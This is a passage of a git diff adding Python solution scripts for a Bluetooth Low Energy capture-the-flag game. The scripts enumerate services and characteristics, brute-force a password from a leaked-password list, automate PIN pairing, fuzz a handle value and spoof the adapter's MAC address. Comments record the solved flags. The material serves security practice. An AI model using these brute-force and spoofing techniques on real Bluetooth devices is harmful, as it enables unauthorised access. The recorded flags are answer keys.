password.rstrip() + print "Flag: %s" % hexlif2 + break; + +p.disconnect() \ No newline at end of file diff --git a/lvl_03.py b/lvl_03.py new file mode 100755 index 0000000..bc95b86 --- /dev/null +++ b/lvl_03.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +from __future__ import print_function # import print from python3: end="" +import time +import re +import pexpect # sudo apt-get install python-pexpect +import subprocess +import random +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +Service +42 0x2A READ Connect with pin 0000. Try using bluetoothctl + +b46fa238cf820d0f60c1 +''' + +# !!! make sure bluetoothd runs in --compat mode before executing this script !!! +def pair_with_pin(start_time, pin, time_limit=60): # int(time.time()), pin - \d{4}, time_limit - approximate pairing window time in seconds, it might take up to 2x (nested timeout conditions) + "exectutes pairing with entered PIN on bluetooth adapter side" + try: + + newpid = os.fork() + if newpid == 0: + ''' + Start bluepy stuff + ''' + subprocess.call(['hciconfig','hci0','down']) + subprocess.call(['hciconfig','hci0','up']) + + deviceMAC = open('ctf_mac.txt').read() + p = btle.Peripheral(deviceMAC) + svc=p.getServiceByUUID("0000180d-0000-1000-8000-00805f9b34fb") + print ("Attached to peripheral") + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + print("Flag: "+hexlif2) + p.disconnect() + exit() + else: + ''' + Start actual pair stuff + ''' + subprocess.call(['hciconfig','hci0','sspmode', '0']) + + # bluetoothctl + child = pexpect.spawn('bluetoothctl') + child.logfile = open("/tmp/mylog", "w") + child.expect("#") + child.sendline('agent off') # might be unnecessary + #child.sendline('scan on') # might be unnecessary + child.expect("unregistered") + + child.sendline('agent KeyboardDisplay ') + child.expect("Agent registered") + child.sendline('pairable on') + child.expect("pairable on succeeded") + child.sendline('discoverable on') + child.expect("discoverable on succeeded") + child.sendline('default-agent') + child.sendline('remove 3c:71:bf:f1:ef:c6') + child.sendline('pair 3c:71:bf:f1:ef:c6') + + child.expect('Request passkey', timeout = time_limit ) # timeout <= PAIRING_TIME_LIMIT to keep some kind of logic + print ('Sending PIN: ' + pin) + child.sendline(pin) + i = child.expect(['Paired: yes', 'Enter passkey:'], timeout = time_limit) + if i == 0: # found 'Paired: yes' == successful pairing + trust_mac = 'trust ' + re.search(r'(?:[0-9a-fA-F]:?){12}.+$', child.before).group(0) # extract MAC from last line, one with 'Paired: Yes' + child.sendline(trust_mac) # optionally add device to trusted + child.expect('trust succeeded', timeout = 10) + pairing_status = True + else: # i == 1 + print('wrong PIN, retrying if time will allow') + except pexpect.EOF: + print ('!!!!!!!! EOF') + except pexpect.TIMEOUT: + print ('!!!!!!!! TIMEOUT') + + # hide Pi's bluetooth for security reasons + child.sendline('pairable off') + child.expect("pairable off succeeded") + child.sendline('discoverable off') + child.expect("discoverable off succeeded") + child.close() + + return pairing_status + +#main program body +PAIRING_TIME_LIMIT = 60 +BT_PIN = "0000" # random.randint(1000,10000) # generate random 4-digit PIN 1000..9999 + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = binascii.unhexlify(str('%0*x' % (4,3))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +p.disconnect() + +status = pair_with_pin(int(time.time()), str(BT_PIN), PAIRING_TIME_LIMIT) +if status == True: + print('Pairing successful') \ No newline at end of file diff --git a/lvl_04.py b/lvl_04.py new file mode 100755 index 0000000..21ede3e --- /dev/null +++ b/lvl_04.py @@ -0,0 +1,104 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle +import itertools + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard + +Flag: f401f21d02fdd0a4fc00 +''' + +notificationData = "" + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, hndl): + btle.DefaultDelegate.__init__(self) + self.hndl=hndl; + + def handleNotification(self, cHandle, data): + global notificationData + notificationData = data + #print("d: "+data) + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) + +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,4))) +p.writeCharacteristic(0x30, hex1, withResponse=False) +p.disconnect() + +''' +# of course not, this brute-force would make sense! +charset = "01234565789ABCDEF" +generator = itertools.chain.from_iterable((''.join(l) + for l in itertools.product(charset, repeat=i)) + for i in range(4,5)) +''' + +''' +# not this! +print("Generating wordlist") +charset = "01234565789ABCDEF" +generator = itertools.chain.from_iterable((''.join(l) + for l in itertools.product(charset, repeat=i)) + for i in range(12,13)) +''' + +print("Generating wordlist") +generator = list() +charset = list("0123456789ABCDEF") +origPass = list("AABBCCDDEEFF") +for x in range(len(origPass)): + newPass = list("AABBCCDDEEFF") + for y in range(len(charset)): + newPass = list("AABBCCDDEEFF") + newPass[x] = charset[y] + generator.append("".join(newPass)) + +for password in generator: + hexlif2 = binascii.unhexlify(password) + hexlif2 = str(hexlif2) + + deviceMAC = open('ctf_mac.txt').read() + p = btle.Peripheral(deviceMAC) + + try: + srvs = (p.getServices()); + chs=srvs[2].getCharacteristics(); + ch=chs[1]; + cccd = ch.valHandle + 1 + #print(str(ch)+str(ch.propertiesToString())); # print charchteristic's properties i.e. READ, WRITE, NOTIFY + + p.setDelegate(MyDelegate(ch.getHandle())); + svc=p.getServiceByUUID(0x00FF) + p.writeCharacteristic(cccd, b"\x01\x00"); + + sys.stdout.write("\rTrying: %s" % password.rstrip()) + response = p.writeCharacteristic(0x2C, hexlif2) + + gotResponse = False + while gotResponse == False: + if p.waitForNotifications(1.0): + rsp = notificationData + hex = binascii.b2a_hex(rsp) + hexstr = str(hex).strip("0").upper() + #sys.stdout.write(" Response: " + hexstr) # for debugging + + if(password.strip("0") != hexstr): + print(" Flag: %s" % notificationData.rstrip()) + exit() + else: + gotResponse = True + continue + print "Waiting..." + + finally: + p.disconnect() \ No newline at end of file diff --git a/lvl_05.py b/lvl_05.py new file mode 100755 index 0000000..f98d9b9 --- /dev/null +++ b/lvl_05.py @@ -0,0 +1,38 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ find a valid write value in this pcap to use below +44 0x2C READ WRITE https://github.com/hackgnar/ble_ctf_infinity/blob/master/gatt_servers/pcap_write/write_sample.pcap +46 0x2E READ WRITE write here to goto to scoreboard + +84cf61c35b2d9c92217d +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 05") +hex1 = binascii.unhexlify(str('%0*x' % (4,5))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +print("Sending \"121212121222\" to 0x2c") + +services=p.getServices() + +hexlif2 = binascii.unhexlify("121212121222") +hexlif2 = str(hexlif2) +response = p.writeCharacteristic(0x2C, hexlif2, True) + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/lvl_05_solution.png b/lvl_05_solution.png new file mode 100644 index 0000000..310f5c6 --- /dev/null +++ b/lvl_05_solution.png Binary files differ diff --git a/lvl_06.py b/lvl_06.py new file mode 100755 index 0000000..a2cd758 --- /dev/null +++ b/lvl_06.py @@ -0,0 +1,32 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle +import subprocess + +''' +42 0x2A READ Connect with mac 11:22:33:44:55:66. Try using bluez's bdaddr +44 0x2C READ +46 0x2E READ WRITE write here to goto to scoreboard + +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 06") +hex1 = binascii.unhexlify(str('%0*x' % (4,5))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +subprocess.call(['bdaddr','-i', 'hci0','11:22:33:44:55:66', '0']) + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/ctf_mac.txt b/ctf_mac.txt new file mode 100644 index 0000000..ff07818 --- /dev/null +++ b/ctf_mac.txt @@ -0,0 +1 @@ +3c:71:bf:f1:ef:c6 \ No newline at end of file diff --git a/enumerate.py b/enumerate.py new file mode 100755 index 0000000..9994109 --- /dev/null +++ b/enumerate.py @@ -0,0 +1,23 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() +for service in services: + print (service) + q = service.getCharacteristics() + for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) + +p.disconnect() \ No newline at end of file diff --git a/enumerate.sh b/enumerate.sh new file mode 100755 index 0000000..59cb9a5 --- /dev/null +++ b/enumerate.sh @@ -0,0 +1,2 @@ +#!/bin/bash +bleah -b `cat ctf_mac.txt` -e \ No newline at end of file diff --git a/level_04.py b/level_04.py new file mode 100644 index 0000000..252cefb --- /dev/null +++ b/level_04.py @@ -0,0 +1,46 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +password = "AABBCCDDEEFF" + +sys.stdout.write("\rTrying: %s " % password.rstrip()) +response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True) +while True: + if p.waitForNotifications(1.0): + # handleNotification() was called + continue + print "Waiting..." + + #hex1 = p.readCharacteristic(0x2C) + #hex2 = binascii.b2a_hex(hex1) + #hexlif2 = str(binascii.unhexlify(hex2)) + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, params): + btle.DefaultDelegate.__init__(self) + # ... initialise here + + def handleNotification(self, cHandle, data): + # ... perhaps check cHandle + # ... process 'data' + print("Data: "+data) + +p.disconnect() \ No newline at end of file diff --git a/load_level.py b/load_level.py new file mode 100755 index 0000000..fd7da0f --- /dev/null +++ b/load_level.py @@ -0,0 +1,60 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +chall_uuid = 0x30 +board_uuid = 0x2e +score_uuid = 0x00ff + +if len(sys.argv) != 2: + print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>" + quit() + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +#p.connect(deviceMAC, "public") +if( sys.argv[1] == "s"): + # load scroebaord... hopefully + print("Loading scoreboard") + #deviceMAC = open('ctf_mac.txt').read() + #p = btle.Peripheral(deviceMAC) + response = p.writeCharacteristic(board_uuid, "fuck you") +else: + level = int(sys.argv[1]) + level_hex = str('%0*x' % (4,level)) + print level_hex + + + + #print ("Attached to peripheral") + #services = p.getServiceByUUID(score_uuid) + #char = services.getCharacteristics(chall_uuid)[0] + + print("Loading level") + #char.write(level_hex) + hex1 = binascii.unhexlify(level_hex) + response = p.writeCharacteristic(chall_uuid, hex1) + +print("If error try again...it takes a few attempts, BLE is a bit crap") +p.disconnect() +time.sleep(1) +p = btle.Peripheral(deviceMAC) + +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + #hexlif2 = binascii.unhexlify(hex2) + hexlif2 = characteristic.read() + + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) +p.disconnect() diff --git a/lvl_00.py b/lvl_00.py new file mode 100755 index 0000000..de7cb6f --- /dev/null +++ b/lvl_00.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +simply follow the example https://github.com/hackgnar/ble_ctf_infinity +to ensure know how to read and write to charachteristics and know the basics of how to navigate the game +understand GATT services, charachteristics and handles.. the basics. +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") + +handle = "0x2e" +content = "12345678901234567890" + +print("Sending \"12345678901234567890\" to 0x2e") + +services=p.getServices() + +hex_int = int(handle, 16) +hex1 = binascii.hexlify(handle) +response = p.writeCharacteristic(hex_int, content, True) +print("Done") + +p.disconnect() \ No newline at end of file diff --git a/lvl_01.py b/lvl_01.py new file mode 100755 index 0000000..f4046b7 --- /dev/null +++ b/lvl_01.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ goodbye 👋 + +fc3fd58dcdad9ab23fac +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 1") +hex1 = binascii.unhexlify(str('%0*x' % (4,1))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/lvl_02.py b/lvl_02.py new file mode 100755 index 0000000..b6665d8 --- /dev/null +++ b/lvl_02.py @@ -0,0 +1,41 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ WRITE Enter password here. Use rockyou. +44 0x2C READ +46 0x2E READ WRITE write here to goto to scoreboard + +password1234 - eca7d1f3cf60a8b5344a +''' + +rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt" + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +with open(rockyou) as f: + for password in f: + + sys.stdout.write("\rTrying: %s " % password.rstrip()) + response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True) + + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + + if hexlif2 <> "": + print "\rPassword Found: %s" % password.rstrip() + print "Flag: %s" % hexlif2 + break; + +p.disconnect() \ No newline at end of file diff --git a/lvl_03.py b/lvl_03.py new file mode 100755 index 0000000..bc95b86 --- /dev/null +++ b/lvl_03.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +from __future__ import print_function # import print from python3: end="" +import time +import re +import pexpect # sudo apt-get install python-pexpect +import subprocess +import random +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +Service +42 0x2A READ Connect with pin 0000. Try using bluetoothctl + +b46fa238cf820d0f60c1 +''' + +# !!! make sure bluetoothd runs in --compat mode before executing this script !!! +def pair_with_pin(start_time, pin, time_limit=60): # int(time.time()), pin - \d{4}, time_limit - approximate pairing window time in seconds, it might take up to 2x (nested timeout conditions) + "exectutes pairing with entered PIN on bluetooth adapter side" + try: + + newpid = os.fork() + if newpid == 0: + ''' + Start bluepy stuff + ''' + subprocess.call(['hciconfig','hci0','down']) + subprocess.call(['hciconfig','hci0','up']) + + deviceMAC = open('ctf_mac.txt').read() + p = btle.Peripheral(deviceMAC) + svc=p.getServiceByUUID("0000180d-0000-1000-8000-00805f9b34fb") + print ("Attached to peripheral") + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + print("Flag: "+hexlif2) + p.disconnect() + exit() + else: + ''' + Start actual pair stuff + ''' + subprocess.call(['hciconfig','hci0','sspmode', '0']) + + # bluetoothctl + child = pexpect.spawn('bluetoothctl') + child.logfile = open("/tmp/mylog", "w") + child.expect("#") + child.sendline('agent off') # might be unnecessary + #child.sendline('scan on') # might be unnecessary + child.expect("unregistered") + + child.sendline('agent KeyboardDisplay ') + child.expect("Agent registered") + child.sendline('pairable on') + child.expect("pairable on succeeded") + child.sendline('discoverable on') + child.expect("discoverable on succeeded") + child.sendline('default-agent') + child.sendline('remove 3c:71:bf:f1:ef:c6') + child.sendline('pair 3c:71:bf:f1:ef:c6') + + child.expect('Request passkey', timeout = time_limit ) # timeout <= PAIRING_TIME_LIMIT to keep some kind of logic + print ('Sending PIN: ' + pin) + child.sendline(pin) + i = child.expect(['Paired: yes', 'Enter passkey:'], timeout = time_limit) + if i == 0: # found 'Paired: yes' == successful pairing + trust_mac = 'trust ' + re.search(r'(?:[0-9a-fA-F]:?){12}.+$', child.before).group(0) # extract MAC from last line, one with 'Paired: Yes' + child.sendline(trust_mac) # optionally add device to trusted + child.expect('trust succeeded', timeout = 10) + pairing_status = True + else: # i == 1 + print('wrong PIN, retrying if time will allow') + except pexpect.EOF: + print ('!!!!!!!! EOF') + except pexpect.TIMEOUT: + print ('!!!!!!!! TIMEOUT') + + # hide Pi's bluetooth for security reasons + child.sendline('pairable off') + child.expect("pairable off succeeded") + child.sendline('discoverable off') + child.expect("discoverable off succeeded") + child.close() + + return pairing_status + +#main program body +PAIRING_TIME_LIMIT = 60 +BT_PIN = "0000" # random.randint(1000,10000) # generate random 4-digit PIN 1000..9999 + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = binascii.unhexlify(str('%0*x' % (4,3))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +p.disconnect() + +status = pair_with_pin(int(time.time()), str(BT_PIN), PAIRING_TIME_LIMIT) +if status == True: + print('Pairing successful') \ No newline at end of file diff --git a/lvl_04.py b/lvl_04.py new file mode 100755 index 0000000..21ede3e --- /dev/null +++ b/lvl_04.py @@ -0,0 +1,104 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle +import itertools + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard + +Flag: f401f21d02fdd0a4fc00 +''' + +notificationData = "" + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, hndl): + btle.DefaultDelegate.__init__(self) + self.hndl=hndl; + + def handleNotification(self, cHandle, data): + global notificationData + notificationData = data + #print("d: "+data) + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) + +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,4))) +p.writeCharacteristic(0x30, hex1, withResponse=False) +p.disconnect() + +''' +# of course not, this brute-force would make sense! +charset = "01234565789ABCDEF" +generator = itertools.chain.from_iterable((''.join(l) + for l in itertools.product(charset, repeat=i)) + for i in range(4,5)) +''' + +''' +# not this! +print("Generating wordlist") +charset = "01234565789ABCDEF" +generator = itertools.chain.from_iterable((''.join(l) + for l in itertools.product(charset, repeat=i)) + for i in range(12,13)) +''' + +print("Generating wordlist") +generator = list() +charset = list("0123456789ABCDEF") +origPass = list("AABBCCDDEEFF") +for x in range(len(origPass)): + newPass = list("AABBCCDDEEFF") + for y in range(len(charset)): + newPass = list("AABBCCDDEEFF") + newPass[x] = charset[y] + generator.append("".join(newPass)) + +for password in generator: + hexlif2 = binascii.unhexlify(password) + hexlif2 = str(hexlif2) + + deviceMAC = open('ctf_mac.txt').read() + p = btle.Peripheral(deviceMAC) + + try: + srvs = (p.getServices()); + chs=srvs[2].getCharacteristics(); + ch=chs[1]; + cccd = ch.valHandle + 1 + #print(str(ch)+str(ch.propertiesToString())); # print charchteristic's properties i.e. READ, WRITE, NOTIFY + + p.setDelegate(MyDelegate(ch.getHandle())); + svc=p.getServiceByUUID(0x00FF) + p.writeCharacteristic(cccd, b"\x01\x00"); + + sys.stdout.write("\rTrying: %s" % password.rstrip()) + response = p.writeCharacteristic(0x2C, hexlif2) + + gotResponse = False + while gotResponse == False: + if p.waitForNotifications(1.0): + rsp = notificationData + hex = binascii.b2a_hex(rsp) + hexstr = str(hex).strip("0").upper() + #sys.stdout.write(" Response: " + hexstr) # for debugging + + if(password.strip("0") != hexstr): + print(" Flag: %s" % notificationData.rstrip()) + exit() + else: + gotResponse = True + continue + print "Waiting..." + + finally: + p.disconnect() \ No newline at end of file diff --git a/lvl_05.py b/lvl_05.py new file mode 100755 index 0000000..f98d9b9 --- /dev/null +++ b/lvl_05.py @@ -0,0 +1,38 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ find a valid write value in this pcap to use below +44 0x2C READ WRITE https://github.com/hackgnar/ble_ctf_infinity/blob/master/gatt_servers/pcap_write/write_sample.pcap +46 0x2E READ WRITE write here to goto to scoreboard + +84cf61c35b2d9c92217d +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 05") +hex1 = binascii.unhexlify(str('%0*x' % (4,5))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +print("Sending \"121212121222\" to 0x2c") + +services=p.getServices() + +hexlif2 = binascii.unhexlify("121212121222") +hexlif2 = str(hexlif2) +response = p.writeCharacteristic(0x2C, hexlif2, True) + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/lvl_05_solution.png b/lvl_05_solution.png new file mode 100644 index 0000000..310f5c6 --- /dev/null +++ b/lvl_05_solution.png Binary files differ diff --git a/lvl_06.py b/lvl_06.py new file mode 100755 index 0000000..a2cd758 --- /dev/null +++ b/lvl_06.py @@ -0,0 +1,32 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle +import subprocess + +''' +42 0x2A READ Connect with mac 11:22:33:44:55:66. Try using bluez's bdaddr +44 0x2C READ +46 0x2E READ WRITE write here to goto to scoreboard + +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 06") +hex1 = binascii.unhexlify(str('%0*x' % (4,5))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +subprocess.call(['bdaddr','-i', 'hci0','11:22:33:44:55:66', '0']) + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/notes.txt b/notes.txt new file mode 100644 index 0000000..71efc09 --- /dev/null +++ b/notes.txt @@ -0,0 +1,4 @@ +Search for MAC addresses around: + hcitool lescan +enumerate the MAC + bleah -b 11:22:33:44:55:66 -e \ No newline at end of file diff --git a/ctf_mac.txt b/ctf_mac.txt new file mode 100644 index 0000000..ff07818 --- /dev/null +++ b/ctf_mac.txt @@ -0,0 +1 @@ +3c:71:bf:f1:ef:c6 \ No newline at end of file diff --git a/enumerate.py b/enumerate.py new file mode 100755 index 0000000..9994109 --- /dev/null +++ b/enumerate.py @@ -0,0 +1,23 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() +for service in services: + print (service) + q = service.getCharacteristics() + for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) + +p.disconnect() \ No newline at end of file diff --git a/enumerate.sh b/enumerate.sh new file mode 100755 index 0000000..59cb9a5 --- /dev/null +++ b/enumerate.sh @@ -0,0 +1,2 @@ +#!/bin/bash +bleah -b `cat ctf_mac.txt` -e \ No newline at end of file diff --git a/level_04.py b/level_04.py new file mode 100644 index 0000000..252cefb --- /dev/null +++ b/level_04.py @@ -0,0 +1,46 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +password = "AABBCCDDEEFF" + +sys.stdout.write("\rTrying: %s " % password.rstrip()) +response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True) +while True: + if p.waitForNotifications(1.0): + # handleNotification() was called + continue + print "Waiting..." + + #hex1 = p.readCharacteristic(0x2C) + #hex2 = binascii.b2a_hex(hex1) + #hexlif2 = str(binascii.unhexlify(hex2)) + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, params): + btle.DefaultDelegate.__init__(self) + # ... initialise here + + def handleNotification(self, cHandle, data): + # ... perhaps check cHandle + # ... process 'data' + print("Data: "+data) + +p.disconnect() \ No newline at end of file diff --git a/load_level.py b/load_level.py new file mode 100755 index 0000000..fd7da0f --- /dev/null +++ b/load_level.py @@ -0,0 +1,60 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +chall_uuid = 0x30 +board_uuid = 0x2e +score_uuid = 0x00ff + +if len(sys.argv) != 2: + print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>" + quit() + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +#p.connect(deviceMAC, "public") +if( sys.argv[1] == "s"): + # load scroebaord... hopefully + print("Loading scoreboard") + #deviceMAC = open('ctf_mac.txt').read() + #p = btle.Peripheral(deviceMAC) + response = p.writeCharacteristic(board_uuid, "fuck you") +else: + level = int(sys.argv[1]) + level_hex = str('%0*x' % (4,level)) + print level_hex + + + + #print ("Attached to peripheral") + #services = p.getServiceByUUID(score_uuid) + #char = services.getCharacteristics(chall_uuid)[0] + + print("Loading level") + #char.write(level_hex) + hex1 = binascii.unhexlify(level_hex) + response = p.writeCharacteristic(chall_uuid, hex1) + +print("If error try again...it takes a few attempts, BLE is a bit crap") +p.disconnect() +time.sleep(1) +p = btle.Peripheral(deviceMAC) + +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + #hexlif2 = binascii.unhexlify(hex2) + hexlif2 = characteristic.read() + + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) +p.disconnect() diff --git a/lvl_00.py b/lvl_00.py new file mode 100755 index 0000000..de7cb6f --- /dev/null +++ b/lvl_00.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +simply follow the example https://github.com/hackgnar/ble_ctf_infinity +to ensure know how to read and write to charachteristics and know the basics of how to navigate the game +understand GATT services, charachteristics and handles.. the basics. +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") + +handle = "0x2e" +content = "12345678901234567890" + +print("Sending \"12345678901234567890\" to 0x2e") + +services=p.getServices() + +hex_int = int(handle, 16) +hex1 = binascii.hexlify(handle) +response = p.writeCharacteristic(hex_int, content, True) +print("Done") + +p.disconnect() \ No newline at end of file diff --git 